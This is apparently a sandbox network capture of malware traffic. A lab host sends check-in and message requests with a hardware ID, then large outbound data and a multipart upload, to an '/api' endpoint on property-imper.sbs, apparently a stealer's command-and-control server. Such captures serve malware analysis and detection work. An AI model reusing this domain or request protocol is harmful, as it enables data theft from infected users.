d5 95 06 d2 34 2e 7f bb c6 f0 08 92 49 a2 b0 c2 3d 10 da Data Ascii: Q=75dhf1z[F6Mywl7$x!~.5z%3iE~4SMAIph! {2'=n}Q'\YE~0}:\|O/.`(#~B\|Wme@#wq+RCPZ>yp#.vbc3\znWPH94.I=
2024-11-24 13:28:48 UTC	15331	OUT	Data Raw: 08 10 52 ba 56 fd 7b 7e 73 a4 ef c3 fd 0d 85 5f a0 e8 c6 aa 91 50 b7 94 e3 2d 7a 86 c1 4c fa 4c 1d 94 82 54 66 98 2b 2e b5 5f d0 d3 57 51 54 b9 af fc 0c 69 83 ec 33 18 8e 91 d1 ed 3f 11 46 af 75 7d 64 b6 93 41 14 00 e5 a5 e3 e5 e5 06 5e 71 00 1f bc a0 5d 1f 2e ed e8 c7 99 ca b8 0c 08 fd 7e c1 e9 6e c6 9f 75 db eb da 8d 8a d7 33 54 b8 32 e7 48 fa 5b f6 96 8b 5a 57 69 dc e0 0f c1 a2 5b ad 5c be 73 6c ed 98 39 24 25 b3 52 65 d3 9e 9d 3e 69 eb 7d 15 e8 d3 d2 8f 66 b4 86 e6 d3 d4 b9 09 c1 bb d2 a7 6c e0 38 f8 6f 4a ff b7 9e c1 9b 86 80 50 00 f5 e0 25 8d 6d 38 c2 c1 ce df d6 c6 3f d0 b3 83 36 5e 17 04 6d 8d 9d e4 54 31 0f ee 20 1f cb ef 62 73 7a 8d 05 62 94 32 07 df cb 01 ad 23 b4 eb 9f d3 72 15 5b 6e 07 68 3f 0e ff 7c c7 f8 96 16 98 2e 89 6a 40 54 7a 9f 38 12 Data Ascii: RV{~s_P-zLLTf+._WQTi3?Fu}dA^q].~nu3T2H[ZWi[\sl9$%Re>i}fl8oJP%m8?6^mT1 bszb2#r[nh?\|.j@Tz8
2024-11-24 13:28:48 UTC	15331	OUT	Data Raw: 74 84 61 da 10 2b aa c9 a7 8e da d3 72 28 49 07 63 7b e6 c0 0d 9b 31 44 a7 bb a6 0a 1d 87 92 61 9d 5b 4b 46 c0 17 56 b3 00 7e de 52 81 a6 aa 8b 80 d8 67 7d 01 4f 45 94 ba 54 20 34 f6 bc 63 d5 cb e2 0e 1b c2 f5 2d c4 3d 07 b9 63 be a0 5e 9d d1 b7 10 b3 1e 06 d3 e0 d0 0b 8b e1 2a 7d f0 61 d9 96 09 2a 15 3b eb 4f 43 85 e1 20 49 d4 f9 d5 4a 9d 23 61 32 5b a3 81 65 03 dc 1a dd 91 44 42 47 1b e2 52 6f a1 1f df 45 21 90 d4 66 d2 78 7b dd d8 a9 29 30 55 66 4f 31 ca ec 9e 85 f0 86 c4 ea 5e e9 77 05 44 2f 51 61 2d ab be b0 a8 b0 49 dc 3b f3 36 cc 11 37 ad 2b 98 f3 50 ec e2 15 97 08 63 5e 95 7e 37 4b 2f d3 d1 5c 82 3f b7 1f 46 78 4c 27 c7 33 ba eb 37 6b f7 4e f0 1c bb 62 2a 8c 0a a5 ae cf 0c d1 77 c3 4a b3 bc 3a a5 d8 b2 f4 69 37 ed 0c 80 a3 c2 cc d6 bc e1 eb 7a 13 Data Ascii: ta+r(Ic{1Da[KFV~Rg}OET 4c-=c^}a;OC IJ#a2[eDBGRoE!fx{)0UfO1^wD/Qa-I;67+Pc^~7K/\?FxL'37kNb*wJ:i7z
2024-11-24 13:28:48 UTC	15331	OUT	Data Raw: 44 cc 17 b9 c8 2e 76 e8 59 88 3b 0d 9b ce 82 ec c6 5a eb df f5 6e 4c 11 96 ca 56 fe df 85 8e d7 bb be 91 a8 f5 57 73 eb ed f9 80 8e 68 c1 37 c6 cb 83 23 72 e0 9d 8c 1e 12 3c ed 13 4d 37 0f f9 b1 dd b2 3f d9 e4 ea d6 8f 67 c2 1a e0 e4 ba 9d 3a ff 67 80 e3 6a 25 2c 11 57 c8 0b 74 d6 6e 7b dd ba eb 7c 94 fa 03 89 f6 ab bd f5 2e 49 0e fc 96 3b a5 8b 7b 5e 27 0e e1 b8 2a 01 55 d2 37 3f aa 24 bc c5 10 6d 6b 50 d8 41 e5 dd e8 63 7b 8d 60 47 48 b6 0a 1c ae bf 9e 16 e6 a6 d2 b8 db 84 f7 f4 e8 bb 4e 7c 5e d4 50 cc fc 55 b3 b4 0e f1 5b 44 a1 cf 0e d4 ae e4 d0 81 3b 72 1b f6 d7 d6 3e 8a e0 b9 2f e8 a2 34 8c e1 21 41 25 c5 04 cb 6c c1 d7 47 b5 3e 45 bf d9 64 1f 29 f6 80 b2 9d bc d4 a5 bd a8 14 17 ec dc 78 b1 f0 5d e7 e6 48 5e 16 86 e3 66 26 3d 8d 81 70 73 ae cd d8 f1 Data Ascii: D.vY;ZnLVWsh7#r<M7?g:gj%,Wtn{\|.I;{^'*U7?$mkPAc{`GHN\|^PU[D;r>/4!A%lG>Ed)x]H^f&=ps
2024-11-24 13:28:52 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=koauhj3herucjd79955voc4j6t; expires=Thu, 20-Mar-2025 07:15:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=haPQFXuTlGE1CndJwD23RHtcmQnNR6HxDuGbLONKXFaehgye5kPQ9lUlXYp7Pf4G0JiFFhQlQstkI4A0tEqlVmrw0xpCd%2Bg6rh36zAs3lRLeinACSDfH59eLEVzq0DJ8G%2F2LCn4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79be8b4fd81795-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1654&sent=341&recv=567&lost=0&retrans=0&sent_bytes=2845&recv_bytes=570934&delivery_rate=1701631&cwnd=181&unsent_bytes=0&cid=8d2ea53010f0ad1c&ts=3565&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	50274	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:28:49 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-24 13:28:49 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-24 13:28:50 UTC	1009	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nrquiq4d26f137plhcjtq3gbcl; expires=Thu, 20-Mar-2025 07:15:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A45xZkE31aAMQp97vSFw49DwToc6QrzeKCKJ4j1xqrDNohupXB4JpoLFMhSQL8ituRYstcLjvKzyL4v9LqrWmGKvaf9FfoblUBRgEBoVEutdB8IV4hW8goHGv8ItMg%2FoCKGCzJA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79be91dee51849-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1668&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4230&recv_bytes=909&delivery_rate=137437&cwnd=180&unsent_bytes=0&cid=5ca0fd483f789efd&ts=1467&x=0"
2024-11-24 13:28:50 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-24 13:28:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	50275	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:28:52 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-24 13:28:52 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-24 13:28:52 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f7fj3is75ek722vs14lgm0jg6i; expires=Thu, 20-Mar-2025 07:15:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r40EY5iK3mKs%2FW0msSmZGkybdIJNqwZ6baDuyZuMqvuMVcubh5fapzgRv09ENFTvYqAjjtKgMiwvcMHwu%2BVbQrM%2BaTBksXinpbLfhcluwU2rMCrNH7an5v%2B2pVEUEgO5xUl4WDE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79be9f9890de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3977&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1668571&cwnd=225&unsent_bytes=0&cid=d00d1669f12fdbd4&ts=700&x=0"
2024-11-24 13:28:52 UTC	354	IN	Data Raw: 63 63 37 0d 0a 67 6c 4b 53 41 43 45 64 61 63 4b 57 61 51 39 53 67 30 33 46 48 6c 49 6e 47 6b 74 41 49 7a 52 4e 4b 53 68 34 59 42 2f 67 36 75 44 35 63 4f 51 69 47 79 6c 46 34 4f 55 4d 4c 57 6a 33 50 37 42 37 66 67 56 37 4c 32 49 5a 55 69 78 46 57 78 31 4d 50 5a 61 48 77 72 67 30 38 32 78 53 65 45 58 67 38 78 45 74 61 4e 67 32 35 33 73 38 42 53 42 70 4a 55 6c 57 4c 45 56 4b 47 51 74 77 6b 49 61 44 36 6a 37 31 61 45 52 2b 44 61 50 36 42 47 6f 33 35 69 79 76 63 44 74 4b 63 69 5a 69 44 78 59 6f 55 77 70 43 51 6c 4b 46 6e 6f 48 50 4d 2b 46 72 41 32 42 46 75 62 51 4d 59 58 43 35 62 36 52 37 4d 45 74 38 4c 79 74 4c 58 43 56 4e 53 78 77 4b 62 34 6d 4d 69 4f 6f 77 39 6d 6c 4f 64 78 6d 75 38 41 4e 68 4d 65 77 73 35 7a 4a 77 51 6d 42 70 65 67 45 46 48 55 68 62 43 78 Data Ascii: cc7glKSACEdacKWaQ9Sg03FHlInGktAIzRNKSh4YB/g6uD5cOQiGylF4OUMLWj3P7B7fgV7L2IZUixFWx1MPZaHwrg082xSeEXg8xEtaNg253s8BSBpJUlWLEVKGQtwkIaD6j71aER+DaP6BGo35iyvcDtKciZiDxYoUwpCQlKFnoHPM+FrA2BFubQMYXC5b6R7MEt8LytLXCVNSxwKb4mMiOow9mlOdxmu8ANhMews5zJwQmBpegEFHUhbCx
2024-11-24 13:28:52 UTC	1369	IN	Data Raw: 67 75 79 2f 41 42 6d 4e 66 4d 6b 72 6e 45 39 52 58 55 6a 4c 55 4a 57 4b 45 46 41 46 51 68 35 6a 34 57 45 34 44 43 77 4c 41 4e 34 45 2b 43 73 53 30 34 31 38 53 69 72 61 6e 4a 2f 4f 44 5a 73 57 42 59 6f 52 77 70 43 51 6e 57 48 69 34 48 72 50 2f 4e 71 53 47 30 4c 73 76 49 47 61 43 4c 6e 4b 71 6c 32 4d 31 64 79 4a 79 52 43 58 79 52 43 54 78 30 47 50 63 7a 49 68 66 68 77 71 43 4a 69 63 67 43 73 2f 68 78 74 63 50 35 68 76 6a 77 33 53 54 68 78 59 6b 56 58 4b 30 70 4f 46 41 78 35 6a 6f 36 4d 37 54 2f 32 61 45 4e 34 41 61 6a 38 43 6d 41 37 37 69 2b 69 63 54 52 44 64 43 67 6e 41 52 68 76 54 46 4a 61 57 6a 32 73 6a 34 48 79 63 73 56 68 54 58 45 4d 74 72 51 55 49 79 6d 68 4b 4b 73 38 61 41 56 32 4c 43 31 54 56 7a 31 4f 52 41 67 4f 65 49 53 46 67 65 34 77 39 57 56 4f Data Ascii: guy/ABmNfMkrnE9RXUjLUJWKEFAFQh5j4WE4DCwLAN4E+CsS0418SiranJ/ODZsWBYoRwpCQnWHi4HrP/NqSG0LsvIGaCLnKql2M1dyJyRCXyRCTx0GPczIhfhwqCJicgCs/hxtcP5hvjw3SThxYkVXK0pOFAx5jo6M7T/2aEN4Aaj8CmA77i+icTRDdCgnARhvTFJaWj2sj4HycsVhTXEMtrQUIymhKKs8aAV2LC1TVz1ORAgOeISFge4w9WVO
2024-11-24 13:28:52 UTC	1369	IN	Data Raw: 51 55 49 79 6d 68 4b 4b 73 38 61 41 56 30 49 43 4a 4b 58 43 74 4c 54 52 63 48 66 6f 57 4c 6a 2b 63 36 2f 6d 56 48 63 77 4b 74 38 67 74 71 4e 4f 51 39 6f 6e 55 38 53 54 68 6e 59 6b 5a 4f 62 78 4d 4b 4e 51 56 72 67 61 65 42 38 54 6d 77 66 51 31 6d 53 36 66 34 53 7a 56 77 35 69 71 76 64 7a 5a 4e 65 44 73 6e 54 31 30 75 51 55 77 62 44 33 47 45 69 49 50 67 4e 76 78 69 52 48 67 5a 73 76 45 4e 66 7a 71 68 59 65 64 37 4b 41 55 67 61 52 52 52 51 54 35 64 43 43 38 42 63 34 79 50 6c 4b 41 76 76 6e 73 44 65 41 66 67 72 45 74 6d 4d 4f 30 6f 72 33 6f 30 54 58 63 6d 4b 31 4e 58 49 30 56 59 48 51 4a 30 6a 49 65 4f 36 54 33 33 62 30 68 31 42 71 54 7a 43 69 31 2b 6f 53 69 2f 50 47 67 46 54 6a 6b 76 54 58 67 6b 52 30 4e 61 48 54 4f 62 79 49 58 73 63 4b 67 69 52 33 4d 44 71 Data Ascii: QUIymhKKs8aAV0ICJKXCtLTRcHfoWLj+c6/mVHcwKt8gtqNOQ9onU8SThnYkZObxMKNQVrgaeB8TmwfQ1mS6f4SzVw5iqvdzZNeDsnT10uQUwbD3GEiIPgNvxiRHgZsvENfzqhYed7KAUgaRRRQT5dCC8Bc4yPlKAvvnsDeAfgrEtmMO0or3o0TXcmK1NXI0VYHQJ0jIeO6T33b0h1BqTzCi1+oSi/PGgFTjkvTXgkR0NaHTObyIXscKgiR3MDq
2024-11-24 13:28:52 UTC	186	IN	Data Raw: 31 35 53 69 6a 65 6a 38 46 4e 6d 6b 6c 57 52 5a 33 43 32 55 39 4e 7a 2b 6a 73 73 4c 2f 66 75 6b 69 52 48 4e 4c 2b 4c 51 48 62 6a 7a 70 49 4b 46 31 50 45 39 78 49 69 35 4b 55 69 4e 43 54 78 77 44 65 49 65 4a 68 75 77 36 39 6d 46 41 63 41 53 76 2f 45 73 6a 63 4f 59 33 35 79 52 77 59 47 38 69 4c 45 63 57 4d 41 56 54 57 67 56 78 77 74 44 43 37 44 6e 32 5a 45 5a 7a 43 71 62 38 44 6d 55 30 34 43 6d 68 66 7a 39 42 66 53 67 74 52 56 6f 68 51 55 73 62 44 6e 61 4e 67 34 65 67 66 72 42 6c 57 7a 39 54 34 4d 55 49 65 79 66 78 49 2b 64 6a 66 6c 77 34 4c 69 34 0d 0a Data Ascii: 15Sijej8FNmklWRZ3C2U9Nz+jssL/fukiRHNL+LQHbjzpIKF1PE9xIi5KUiNCTxwDeIeJhuw69mFAcASv/EsjcOY35yRwYG8iLEcWMAVTWgVxwtDC7Dn2ZEZzCqb8DmU04Cmhfz9BfSgtRVohQUsbDnaNg4egfrBlWz9T4MUIeyfxI+djflw4Li4
2024-11-24 13:28:52 UTC	1369	IN	Data Raw: 31 30 63 30 0d 0a 42 44 6d 39 4b 57 42 41 49 63 34 65 48 68 2b 4d 2f 39 32 39 46 63 77 47 70 2f 41 31 69 4f 66 4d 73 71 33 49 33 53 33 51 6e 4c 30 74 56 49 67 73 45 57 67 56 6c 77 74 44 43 7a 44 66 39 54 45 68 7a 44 4f 44 72 52 58 52 77 35 69 50 6e 4a 48 42 4a 63 69 55 72 51 56 38 71 51 30 45 54 42 33 79 4a 6a 59 48 6d 50 66 39 72 55 58 55 49 72 76 63 48 59 54 62 67 4c 4c 56 30 4f 51 55 32 61 53 56 5a 46 6e 63 4c 61 78 51 50 61 59 57 59 77 76 39 2b 36 53 4a 45 63 30 76 34 74 41 68 73 50 2b 49 75 71 6e 6f 35 54 58 67 76 4a 30 35 62 49 55 78 4e 47 67 39 7a 6a 59 36 4b 37 54 7a 37 62 45 70 35 43 36 48 2b 53 79 4e 77 35 6a 66 6e 4a 48 42 31 65 79 6b 69 57 68 59 77 42 56 4e 61 42 58 48 43 30 4d 4c 79 4f 76 6c 69 51 48 41 4d 70 50 38 48 61 44 58 75 4c 4b 35 35 Data Ascii: 10c0BDm9KWBAIc4eHh+M/929FcwGp/A1iOfMsq3I3S3QnL0tVIgsEWgVlwtDCzDf9TEhzDODrRXRw5iPnJHBJciUrQV8qQ0ETB3yJjYHmPf9rUXUIrvcHYTbgLLV0OQU2aSVZFncLaxQPaYWYwv9+6SJEc0v4tAhsP+Iuqno5TXgvJ05bIUxNGg9zjY6K7Tz7bEp5C6H+SyNw5jfnJHB1eykiWhYwBVNaBXHC0MLyOvliQHAMpP8HaDXuLK55
2024-11-24 13:28:52 UTC	1369	IN	Data Raw: 6b 6c 54 52 5a 33 43 30 73 57 44 58 36 4e 69 34 48 68 4f 75 4a 77 54 33 59 44 70 66 67 41 59 7a 62 7a 4b 61 68 31 4d 30 5a 78 4c 69 70 4e 58 43 78 4d 43 6c 52 43 65 70 72 49 32 71 41 54 35 33 4a 4f 50 78 54 75 37 55 74 71 50 4b 46 33 35 33 51 39 54 58 49 74 4a 55 78 52 4b 55 4a 59 45 77 64 7a 67 6f 79 4a 37 7a 62 30 59 55 4e 74 44 61 54 38 43 47 41 39 37 79 79 6a 50 48 34 46 66 7a 46 69 47 52 59 64 52 6b 51 42 44 58 71 54 67 73 4c 2f 66 75 6b 69 52 48 4e 4c 2b 4c 51 50 59 79 4c 71 4c 71 78 33 50 6b 4a 33 4c 43 68 42 57 53 74 49 52 42 45 44 66 6f 71 46 6a 2b 34 36 2b 57 74 45 63 77 2b 6e 74 45 55 74 4e 2f 6c 76 2f 7a 77 62 5a 46 55 46 4a 56 73 57 4d 41 56 54 57 67 56 78 77 74 44 43 37 44 6e 38 61 45 68 34 41 61 37 39 42 57 59 69 38 79 79 6a 66 7a 6c 47 66 Data Ascii: klTRZ3C0sWDX6Ni4HhOuJwT3YDpfgAYzbzKah1M0ZxLipNXCxMClRCeprI2qAT53JOPxTu7UtqPKF353Q9TXItJUxRKUJYEwdzgoyJ7zb0YUNtDaT8CGA97yyjPH4FfzFiGRYdRkQBDXqTgsL/fukiRHNL+LQPYyLqLqx3PkJ3LChBWStIRBEDfoqFj+46+WtEcw+ntEUtN/lv/zwbZFUFJVsWMAVTWgVxwtDC7Dn8aEh4Aa79BWYi8yyjfzlGf
2024-11-24 13:28:52 UTC	1369	IN	Data Raw: 56 4b 77 73 45 57 67 56 6c 77 74 44 43 7a 54 7a 33 53 30 52 6b 53 37 2b 36 45 69 30 33 37 57 2f 2f 50 44 46 4f 63 69 59 76 51 6c 41 73 51 45 38 51 41 33 71 4b 68 5a 44 6a 50 2f 39 6d 51 33 41 4e 70 76 55 45 61 7a 66 6f 4c 71 39 37 63 41 73 34 4c 6a 6f 42 44 6d 39 6c 54 52 6b 47 50 5a 33 47 6d 36 41 33 2f 43 49 62 50 77 75 71 2f 67 46 6a 4d 4f 59 39 6f 58 55 77 52 6d 6f 71 4a 45 6c 51 49 30 64 48 45 67 74 39 68 34 4f 50 36 7a 33 32 59 6b 68 2b 53 2b 36 30 44 48 56 77 75 57 2b 57 63 54 35 42 64 69 6f 79 52 68 59 77 42 56 4e 61 42 58 48 43 30 4d 4c 76 4f 65 4a 6c 52 6e 63 43 6f 50 6f 43 5a 44 66 6c 4c 4b 5a 34 50 45 70 78 4b 69 70 41 58 69 42 49 53 68 45 4b 64 34 4f 47 68 36 42 2b 73 47 56 62 50 31 50 67 32 77 68 6f 4f 2b 42 74 67 48 6f 33 53 54 67 32 62 46 Data Ascii: VKwsEWgVlwtDCzTz3S0RkS7+6Ei037W//PDFOciYvQlAsQE8QA3qKhZDjP/9mQ3ANpvUEazfoLq97cAs4LjoBDm9lTRkGPZ3Gm6A3/CIbPwuq/gFjMOY9oXUwRmoqJElQI0dHEgt9h4OP6z32Ykh+S+60DHVwuW+WcT5BdioyRhYwBVNaBXHC0MLvOeJlRncCoPoCZDflLKZ4PEpxKipAXiBIShEKd4OGh6B+sGVbP1Pg2whoO+BtgHo3STg2bF
2024-11-24 13:28:52 UTC	189	IN	Data Raw: 53 52 51 4d 65 70 53 5a 7a 38 63 71 2f 57 52 55 62 6b 76 75 74 41 30 74 61 4c 46 68 35 33 67 68 42 53 42 35 63 42 6f 44 66 42 77 61 53 42 30 7a 6d 38 69 55 6f 47 69 69 4c 41 4e 74 53 2f 69 30 54 47 34 69 38 79 6d 6b 61 6a 4d 43 52 68 63 4d 52 6c 41 71 54 46 70 59 4c 48 61 57 6a 38 4b 75 63 50 38 69 47 30 5a 4c 36 4c 51 30 49 33 44 35 62 2f 38 38 42 55 5a 32 4a 79 56 58 52 32 4a 6c 54 52 77 48 65 70 4c 4b 72 4f 73 6b 39 79 49 4e 50 77 33 67 72 46 73 6a 63 4f 55 2b 35 79 52 67 46 79 4e 38 63 52 59 47 66 56 51 45 41 30 4a 72 77 74 44 51 72 6e 44 69 49 68 73 0d 0a Data Ascii: SRQMepSZz8cq/WRUbkvutA0taLFh53ghBSB5cBoDfBwaSB0zm8iUoGiiLANtS/i0TG4i8ymkajMCRhcMRlAqTFpYLHaWj8KucP8iG0ZL6LQ0I3D5b/88BUZ2JyVXR2JlTRwHepLKrOsk9yINPw3grFsjcOU+5yRgFyN8cRYGfVQEA0JrwtDQrnDiIhs
2024-11-24 13:28:52 UTC	1369	IN	Data Raw: 31 38 66 31 0d 0a 2f 54 4b 50 6d 47 57 73 7a 39 79 7a 67 51 67 35 47 62 69 51 74 53 6c 63 52 64 57 51 58 41 33 36 4d 79 72 50 32 50 65 42 68 52 6e 67 31 6e 76 6f 4d 65 54 66 76 4b 61 63 38 66 67 56 33 61 58 70 34 46 6d 63 4c 64 56 52 43 5a 63 4c 51 77 74 55 7a 2f 6d 78 45 61 52 72 74 31 78 31 67 50 2b 6f 75 35 7a 4a 77 51 7a 68 78 63 67 38 57 4b 31 6f 4b 51 6c 49 76 32 64 33 52 74 32 43 69 66 51 31 6d 53 37 61 30 55 7a 39 2b 6f 54 33 6e 4a 48 41 43 64 69 51 6a 51 6c 67 73 57 56 67 63 41 57 75 42 7a 37 7a 65 45 66 31 70 54 33 49 45 71 38 6f 31 54 44 33 71 49 36 70 7a 4f 33 74 47 50 43 46 50 57 43 68 64 57 31 70 4d 50 59 33 49 32 74 6c 77 75 43 4a 38 4d 55 75 34 74 46 4d 74 42 65 49 68 71 58 73 6d 56 44 55 49 4c 30 70 61 49 6b 52 42 57 6b 77 39 68 4d 6a 61 Data Ascii: 18f1/TKPmGWsz9yzgQg5GbiQtSlcRdWQXA36MyrP2PeBhRng1nvoMeTfvKac8fgV3aXp4FmcLdVRCZcLQwtUz/mxEaRrt1x1gP+ou5zJwQzhxcg8WK1oKQlIv2d3Rt2CifQ1mS7a0Uz9+oT3nJHACdiQjQlgsWVgcAWuBz7zeEf1pT3IEq8o1TD3qI6pzO3tGPCFPWChdW1pMPY3I2tlwuCJ8MUu4tFMtBeIhqXsmVDUIL0paIkRBWkw9hMja

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	50277	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:28:53 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-24 13:28:53 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=8E2B0E67CED2B7B7D7CBBD6DF28D3732
2024-11-24 13:28:54 UTC	1023	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=92q43ukm98pnha7hknn2sbfug1; expires=Thu, 20-Mar-2025 07:15:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HR0BIIltzOc%2F06SsykYycKu2xUu%2BQBBOi%2BWasDGxrAjem1IZk8GVmLLE9H90oHpC%2F%2BmWKj%2Fz3VGyOOfqj%2F%2BWZF3w5zxvj06GABmqg5TS2e2rjSZJMUC4tnbMQLH9d7Ci6Jt1cmA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79beaa593e0f39-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1436&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=990&delivery_rate=1893644&cwnd=249&unsent_bytes=0&cid=d7d3712e45fe7ef5&ts=741&x=0"
2024-11-24 13:28:54 UTC	214	IN	Data Raw: 64 30 0d 0a 30 77 59 54 77 45 48 35 56 58 71 50 36 69 66 76 47 34 6a 34 32 54 56 61 32 45 4c 36 4a 36 47 43 6d 59 45 51 2b 76 34 47 59 68 65 49 66 54 47 31 59 38 4e 33 45 76 75 65 56 39 56 48 70 36 54 32 42 47 4c 74 62 4d 67 57 6c 4b 79 6f 73 43 50 55 7a 7a 41 2b 4f 4c 78 67 64 5a 78 75 6e 54 41 63 6f 59 39 66 69 6a 6d 6b 32 72 39 42 65 4f 4a 79 31 67 58 45 6f 4b 4f 77 62 64 61 46 4a 42 63 31 36 53 52 37 74 44 57 4a 62 79 61 67 74 67 6a 65 49 37 33 57 36 77 52 76 39 6e 50 4c 46 49 2b 7a 72 39 30 2f 69 59 70 6a 41 33 71 50 4b 57 47 68 4c 35 30 36 46 36 47 50 58 34 6f 35 70 4e 71 2f 51 58 6a 69 63 74 59 46 78 4b 43 6a 73 57 32 6e 0d 0a Data Ascii: d00wYTwEH5VXqP6ifvG4j42TVa2EL6J6GCmYEQ+v4GYheIfTG1Y8N3EvueV9VHp6T2BGLtbMgWlKyosCPUzzA+OLxgdZxunTAcoY9fijmk2r9BeOJy1gXEoKOwbdaFJBc16SR7tDWJbyagtgjeI73W6wRv9nPLFI+zr90/iYpjA3qPKWGhL506F6GPX4o5pNq/QXjictYFxKCjsW2n
2024-11-24 13:28:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	50278	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:28:54 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VGABNOTNF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18986 Host: property-imper.sbs
